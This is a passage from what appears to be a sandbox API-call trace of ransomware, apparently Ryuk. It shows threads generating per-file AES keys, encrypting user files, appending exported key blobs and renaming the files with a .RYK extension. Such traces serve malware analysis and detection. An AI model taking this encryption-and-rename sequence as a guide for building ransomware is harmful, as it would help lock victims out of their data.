	[0273.516] SetFilePointer (in: hFile=0x7f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0273.516] WriteFile (in: hFile=0x7f4, lpBuffer=0x3280000*, nNumberOfBytesToWrite=0x27d0, lpNumberOfBytesWritten=0x98cfa64, lpOverlapped=0x0 | out: lpBuffer=0x3280000*, lpNumberOfBytesWritten=0x98cfa64*=0x27d0, lpOverlapped=0x0) returned 1
	[0273.517] WriteFile (in: hFile=0x7f4, lpBuffer=0x98cfa90*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x98cfa70, lpOverlapped=0x0 | out: lpBuffer=0x98cfa90*, lpNumberOfBytesWritten=0x98cfa70*=0x6, lpOverlapped=0x0) returned 1
	[0273.517] CryptExportKey (in: hKey=0x3f7e00, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x98cfa80 | out: pbData=0x0*, pdwDataLen=0x98cfa80*=0x10c) returned 1
	[0273.517] CryptExportKey (in: hKey=0x3f7e00, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x98cfaf0, pdwDataLen=0x98cfa80 | out: pbData=0x98cfaf0*, pdwDataLen=0x98cfa80*=0x10c) returned 1
	[0273.517] WriteFile (in: hFile=0x7f4, lpBuffer=0x98cfaf0*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x98cfa70, lpOverlapped=0x0 | out: lpBuffer=0x98cfaf0*, lpNumberOfBytesWritten=0x98cfa70*=0x10c, lpOverlapped=0x0) returned 1
	[0273.517] CloseHandle (hObject=0x7f4) returned 1
	[0273.524] CryptDestroyKey (hKey=0x3f7e00) returned 1
	[0273.524] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Media\\12.0\\WMSDKNS.XML" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows media\\12.0\\wmsdkns.xml"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Media\\12.0\\WMSDKNS.XML.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows media\\12.0\\wmsdkns.xml.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 3768
	os_tid = 0x4064

	[0275.312] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\-jDCM.csv.RYK", dwFileAttributes=0x80) returned 1
	[0275.312] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\-jDCM.csv.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\-jdcm.csv.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7f0
	[0275.313] GetFileSizeEx (in: hFile=0x7f0, lpFileSize=0x8cefa98 | out: lpFileSize=0x8cefa98*=37026) returned 1
	[0275.313] GetFileSizeEx (in: hFile=0x7f0, lpFileSize=0x8cefaa8 | out: lpFileSize=0x8cefaa8*=37026) returned 1
	[0275.313] SetFilePointerEx (in: hFile=0x7f0, liDistanceToMove=0x8f80, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0275.313] ReadFile (in: hFile=0x7f0, lpBuffer=0x8cefaf0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8cefa60, lpOverlapped=0x0 | out: lpBuffer=0x8cefaf0*, lpNumberOfBytesRead=0x8cefa60*=0x19, lpOverlapped=0x0) returned 1
	[0275.314] CloseHandle (hObject=0x7f0) returned 1

Thread:
	id = 3769
	os_tid = 0x4068

	[0275.350] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\-lr0Ch.doc.RYK", dwFileAttributes=0x80) returned 1
	[0275.351] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\-lr0Ch.doc.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\-lr0ch.doc.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7f0
	[0275.351] GetFileSizeEx (in: hFile=0x7f0, lpFileSize=0x8f2f738 | out: lpFileSize=0x8f2f738*=41346) returned 1
	[0275.351] GetFileSizeEx (in: hFile=0x7f0, lpFileSize=0x8f2f748 | out: lpFileSize=0x8f2f748*=41346) returned 1
	[0275.351] SetFilePointerEx (in: hFile=0x7f0, liDistanceToMove=0xa060, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0275.351] ReadFile (in: hFile=0x7f0, lpBuffer=0x8f2f790, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8f2f700, lpOverlapped=0x0 | out: lpBuffer=0x8f2f790*, lpNumberOfBytesRead=0x8f2f700*=0x19, lpOverlapped=0x0) returned 1
	[0275.353] CloseHandle (hObject=0x7f0) returned 1

Thread:
	id = 3770
	os_tid = 0x406c

	[0275.354] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\1o86XN.gif.RYK", dwFileAttributes=0x80) returned 1
	[0275.354] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\1o86XN.gif.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\1o86xn.gif.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7f0
	[0275.354] GetFileSizeEx (in: hFile=0x7f0, lpFileSize=0x92afa38 | out: lpFileSize=0x92afa38*=54162) returned 1
	[0275.355] GetFileSizeEx (in: hFile=0x7f0, lpFileSize=0x92afa48 | out: lpFileSize=0x92afa48*=54162) returned 1
	[0275.355] SetFilePointerEx (in: hFile=0x7f0, liDistanceToMove=0xd270, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0275.355] ReadFile (in: hFile=0x7f0, lpBuffer=0x92afa90, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x92afa00, lpOverlapped=0x0 | out: lpBuffer=0x92afa90*, lpNumberOfBytesRead=0x92afa00*=0x19, lpOverlapped=0x0) returned 1
	[0275.356] CloseHandle (hObject=0x7f0) returned 1

Thread:
	id = 3771
	os_tid = 0x4070

	[0275.357] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\2bzGyA5wVpzpZK3I0Z6-.wav", dwFileAttributes=0x80) returned 1
	[0275.358] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\2bzGyA5wVpzpZK3I0Z6-.wav" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\2bzgya5wvpzpzk3i0z6-.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7f0
	[0275.358] GetFileSizeEx (in: hFile=0x7f0, lpFileSize=0x967f858 | out: lpFileSize=0x967f858*=78308) returned 1
	[0275.358] GetFileSizeEx (in: hFile=0x7f0, lpFileSize=0x967f868 | out: lpFileSize=0x967f868*=78308) returned 1
	[0275.358] SetFilePointerEx (in: hFile=0x7f0, liDistanceToMove=0x130c2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0275.358] ReadFile (in: hFile=0x7f0, lpBuffer=0x967f8b0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x967f820, lpOverlapped=0x0 | out: lpBuffer=0x967f8b0*, lpNumberOfBytesRead=0x967f820*=0x19, lpOverlapped=0x0) returned 1
	[0275.360] SetFilePointer (in: hFile=0x7f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0275.360] CryptGenKey (in: hProv=0x3bf240, Algid=0x6610, dwFlags=0x1, phKey=0x967f838 | out: phKey=0x967f838*=0x3f7d90) returned 1
	[0275.360] SetFilePointer (in: hFile=0x7f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0275.360] ReadFile (in: hFile=0x7f0, lpBuffer=0x3380000, nNumberOfBytesToRead=0x131e4, lpNumberOfBytesRead=0x967f844, lpOverlapped=0x0 | out: lpBuffer=0x3380000*, lpNumberOfBytesRead=0x967f844*=0x131e4, lpOverlapped=0x0) returned 1
	[0275.361] CryptEncrypt (in: hKey=0x3f7d90, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x967f840*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x967f840*=0xf4250) returned 1
	[0275.361] CryptEncrypt (in: hKey=0x3f7d90, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3380000*, pdwDataLen=0x967f848*=0x131e4, dwBufLen=0xf4250 | out: pbData=0x3380000*, pdwDataLen=0x967f848*=0x131f0) returned 1
	[0275.361] SetFilePointer (in: hFile=0x7f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0275.362] WriteFile (in: hFile=0x7f0, lpBuffer=0x3380000*, nNumberOfBytesToWrite=0x131f0, lpNumberOfBytesWritten=0x967f844, lpOverlapped=0x0 | out: lpBuffer=0x3380000*, lpNumberOfBytesWritten=0x967f844*=0x131f0, lpOverlapped=0x0) returned 1
	[0275.362] WriteFile (in: hFile=0x7f0, lpBuffer=0x967f870*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x967f850, lpOverlapped=0x0 | out: lpBuffer=0x967f870*, lpNumberOfBytesWritten=0x967f850*=0x6, lpOverlapped=0x0) returned 1
	[0275.362] CryptExportKey (in: hKey=0x3f7d90, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x967f860 | out: pbData=0x0*, pdwDataLen=0x967f860*=0x10c) returned 1
	[0275.362] CryptExportKey (in: hKey=0x3f7d90, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x967f8d0, pdwDataLen=0x967f860 | out: pbData=0x967f8d0*, pdwDataLen=0x967f860*=0x10c) returned 1
	[0275.363] WriteFile (in: hFile=0x7f0, lpBuffer=0x967f8d0*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x967f850, lpOverlapped=0x0 | out: lpBuffer=0x967f8d0*, lpNumberOfBytesWritten=0x967f850*=0x10c, lpOverlapped=0x0) returned 1
	[0275.363] CloseHandle (hObject=0x7f0) returned 1
	[0275.365] CryptDestroyKey (hKey=0x3f7d90) returned 1
	[0275.365] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\2bzGyA5wVpzpZK3I0Z6-.wav" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\2bzgya5wvpzpzk3i0z6-.wav"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\2bzGyA5wVpzpZK3I0Z6-.wav.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\2bzgya5wvpzpzk3i0z6-.wav.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 3772
	os_tid = 0x4074

	[0275.367] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\4H2RiR0v1TTc.mp3.RYK", dwFileAttributes=0x80) returned 1
	[0275.523] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\4H2RiR0v1TTc.mp3.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\4h2rir0v1ttc.mp3.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x858
	[0275.523] GetFileSizeEx (in: hFile=0x858, lpFileSize=0x8e2fc38 | out: lpFileSize=0x8e2fc38*=57586) returned 1
	[0275.523] GetFileSizeEx (in: hFile=0x858, lpFileSize=0x8e2fc48 | out: lpFileSize=0x8e2fc48*=57586) returned 1
	[0275.523] SetFilePointerEx (in: hFile=0x858, liDistanceToMove=0xdfd0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0275.523] ReadFile (in: hFile=0x858, lpBuffer=0x8e2fc90, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8e2fc00, lpOverlapped=0x0 | out: lpBuffer=0x8e2fc90*, lpNumberOfBytesRead=0x8e2fc00*=0x19, lpOverlapped=0x0) returned 1
	[0275.525] CloseHandle (hObject=0x858) returned 1

Thread:
	id = 3773
	os_tid = 0x4078

	[0275.367] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\4XLcXlYhAvHImy-.bmp.RYK", dwFileAttributes=0x80) returned 1
	[0275.717] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\4XLcXlYhAvHImy-.bmp.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\4xlcxlyhavhimy-.bmp.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x854
	[0275.718] GetFileSizeEx (in: hFile=0x854, lpFileSize=0x99ef638 | out: lpFileSize=0x99ef638*=60834) returned 1
	[0275.718] GetFileSizeEx (in: hFile=0x854, lpFileSize=0x99ef648 | out: lpFileSize=0x99ef648*=60834) returned 1
	[0275.718] SetFilePointerEx (in: hFile=0x854, liDistanceToMove=0xec80, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0275.718] ReadFile (in: hFile=0x854, lpBuffer=0x99ef690, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x99ef600, lpOverlapped=0x0 | out: lpBuffer=0x99ef690*, lpNumberOfBytesRead=0x99ef600*=0x19, lpOverlapped=0x0) returned 1
	[0275.719] CloseHandle (hObject=0x854) returned 1

Thread:
	id = 3774
	os_tid = 0x407c

	[0275.368] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\5hDsOAAkJpxZ1n.m4a.RYK", dwFileAttributes=0x80) returned 1
	[0275.720] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\5hDsOAAkJpxZ1n.m4a.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\5hdsoaakjpxz1n.m4a.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x820
	[0275.721] GetFileSizeEx (in: hFile=0x820, lpFileSize=0x904f9d8 | out: lpFileSize=0x904f9d8*=18930) returned 1
	[0275.721] GetFileSizeEx (in: hFile=0x820, lpFileSize=0x904f9e8 | out: lpFileSize=0x904f9e8*=18930) returned 1
	[0275.721] SetFilePointerEx (in: hFile=0x820, liDistanceToMove=0x48d0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0275.721] ReadFile (in: hFile=0x820, lpBuffer=0x904fa30, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x904f9a0, lpOverlapped=0x0 | out: lpBuffer=0x904fa30*, lpNumberOfBytesRead=0x904f9a0*=0x19, lpOverlapped=0x0) returned 1
	[0275.722] CloseHandle (hObject=0x820) returned 1

Thread:
	id = 3775
	os_tid = 0x4080

	[0275.370] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\5z_ijfYGlkugL6.wav.RYK", dwFileAttributes=0x80) returned 1
	[0275.726] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\5z_ijfYGlkugL6.wav.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\5z_ijfyglkugl6.wav.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x87c
	[0275.726] GetFileSizeEx (in: hFile=0x87c, lpFileSize=0x98bf718 | out: lpFileSize=0x98bf718*=95218) returned 1
	[0275.726] GetFileSizeEx (in: hFile=0x87c, lpFileSize=0x98bf728 | out: lpFileSize=0x98bf728*=95218) returned 1
	[0275.726] SetFilePointerEx (in: hFile=0x87c, liDistanceToMove=0x172d0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0275.727] ReadFile (in: hFile=0x87c, lpBuffer=0x98bf770, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x98bf6e0, lpOverlapped=0x0 | out: lpBuffer=0x98bf770*, lpNumberOfBytesRead=0x98bf6e0*=0x19, lpOverlapped=0x0) returned 1
	[0275.728] CloseHandle (hObject=0x87c) returned 1

Thread:
	id = 3776
	os_tid = 0x4084

	[0275.370] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\6p47SKC0 jWuZ.mp3.RYK", dwFileAttributes=0x80) returned 1
	[0275.992] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\6p47SKC0 jWuZ.mp3.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\6p47skc0 jwuz.mp3.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x878
	[0275.992] GetFileSizeEx (in: hFile=0x878, lpFileSize=0x9b2fa78 | out: lpFileSize=0x9b2fa78*=28146) returned 1
	[0275.992] GetFileSizeEx (in: hFile=0x878, lpFileSize=0x9b2fa88 | out: lpFileSize=0x9b2fa88*=28146) returned 1
	[0275.992] SetFilePointerEx (in: hFile=0x878, liDistanceToMove=0x6cd0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0275.992] ReadFile (in: hFile=0x878, lpBuffer=0x9b2fad0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x9b2fa40, lpOverlapped=0x0 | out: lpBuffer=0x9b2fad0*, lpNumberOfBytesRead=0x9b2fa40*=0x19, lpOverlapped=0x0) returned 1
	[0275.994] CloseHandle (hObject=0x878) returned 1

Thread:
	id = 3777
	os_tid = 0x4088

	[0275.371] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\9iFq8y63.mkv.RYK", dwFileAttributes=0x80) returned 1
	[0275.995] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\9iFq8y63.mkv.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\9ifq8y63.mkv.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x874
	[0275.995] GetFileSizeEx (in: hFile=0x874, lpFileSize=0x9d6faf8 | out: lpFileSize=0x9d6faf8*=31698) returned 1
	[0275.995] GetFileSizeEx (in: hFile=0x874, lpFileSize=0x9d6fb08 | out: lpFileSize=0x9d6fb08*=31698) returned 1
	[0275.995] SetFilePointerEx (in: hFile=0x874, liDistanceToMove=0x7ab0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0275.996] ReadFile (in: hFile=0x874, lpBuffer=0x9d6fb50, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x9d6fac0, lpOverlapped=0x0 | out: lpBuffer=0x9d6fb50*, lpNumberOfBytesRead=0x9d6fac0*=0x19, lpOverlapped=0x0) returned 1
	[0275.997] CloseHandle (hObject=0x874) returned 1

Thread:
	id = 3778
	os_tid = 0x408c

	[0275.371] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\9u 2RHDpu7bjqdHbaNzn.m4a", dwFileAttributes=0x80) returned 1
	[0275.998] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\9u 2RHDpu7bjqdHbaNzn.m4a" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\9u 2rhdpu7bjqdhbanzn.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x86c
	[0275.998] GetFileSizeEx (in: hFile=0x86c, lpFileSize=0xa16f9d8 | out: lpFileSize=0xa16f9d8*=77171) returned 1
	[0275.998] GetFileSizeEx (in: hFile=0x86c, lpFileSize=0xa16f9e8 | out: lpFileSize=0xa16f9e8*=77171) returned 1
	[0275.998] SetFilePointerEx (in: hFile=0x86c, liDistanceToMove=0x12c51, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0275.998] ReadFile (in: hFile=0x86c, lpBuffer=0xa16fa30, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0xa16f9a0, lpOverlapped=0x0 | out: lpBuffer=0xa16fa30*, lpNumberOfBytesRead=0xa16f9a0*=0x19, lpOverlapped=0x0) returned 1
	[0276.000] SetFilePointer (in: hFile=0x86c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0276.000] CryptGenKey (in: hProv=0x3bf240, Algid=0x6610, dwFlags=0x1, phKey=0xa16f9b8 | out: phKey=0xa16f9b8*=0x3f7bd0) returned 1
	[0276.001] SetFilePointer (in: hFile=0x86c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0276.001] ReadFile (in: hFile=0x86c, lpBuffer=0x3b80000, nNumberOfBytesToRead=0x12d73, lpNumberOfBytesRead=0xa16f9c4, lpOverlapped=0x0 | out: lpBuffer=0x3b80000*, lpNumberOfBytesRead=0xa16f9c4*=0x12d73, lpOverlapped=0x0) returned 1
	[0276.002] CryptEncrypt (in: hKey=0x3f7bd0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0xa16f9c0*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0xa16f9c0*=0xf4250) returned 1
	[0276.002] CryptEncrypt (in: hKey=0x3f7bd0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3b80000*, pdwDataLen=0xa16f9c8*=0x12d73, dwBufLen=0xf4250 | out: pbData=0x3b80000*, pdwDataLen=0xa16f9c8*=0x12d80) returned 1
	[0276.003] SetFilePointer (in: hFile=0x86c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0276.003] WriteFile (in: hFile=0x86c, lpBuffer=0x3b80000*, nNumberOfBytesToWrite=0x12d80, lpNumberOfBytesWritten=0xa16f9c4, lpOverlapped=0x0 | out: lpBuffer=0x3b80000*, lpNumberOfBytesWritten=0xa16f9c4*=0x12d80, lpOverlapped=0x0) returned 1
	[0276.003] WriteFile (in: hFile=0x86c, lpBuffer=0xa16f9f0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0xa16f9d0, lpOverlapped=0x0 | out: lpBuffer=0xa16f9f0*, lpNumberOfBytesWritten=0xa16f9d0*=0x6, lpOverlapped=0x0) returned 1
	[0276.003] CryptExportKey (in: hKey=0x3f7bd0, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xa16f9e0 | out: pbData=0x0*, pdwDataLen=0xa16f9e0*=0x10c) returned 1
